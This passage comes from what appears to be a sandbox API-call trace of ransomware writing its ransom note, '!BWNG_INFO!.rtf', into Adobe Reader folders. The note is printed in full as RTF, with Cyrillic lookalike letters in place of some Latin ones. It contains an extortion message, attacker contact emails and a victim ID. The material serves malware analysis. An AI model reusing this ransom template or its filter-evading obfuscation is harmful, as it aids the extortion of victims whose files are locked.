d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\no", lpUsedDefaultChar=0x0) returned 14086 [0040.891] WriteFile (in: hFile=0x1d4, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.893] CloseHandle (hObject=0x1d4) returned 1 [0040.893] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\!bwng_info!.rtf")) returned 0xffffffff [0040.893] GetLastError () returned 0x2 [0040.893] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 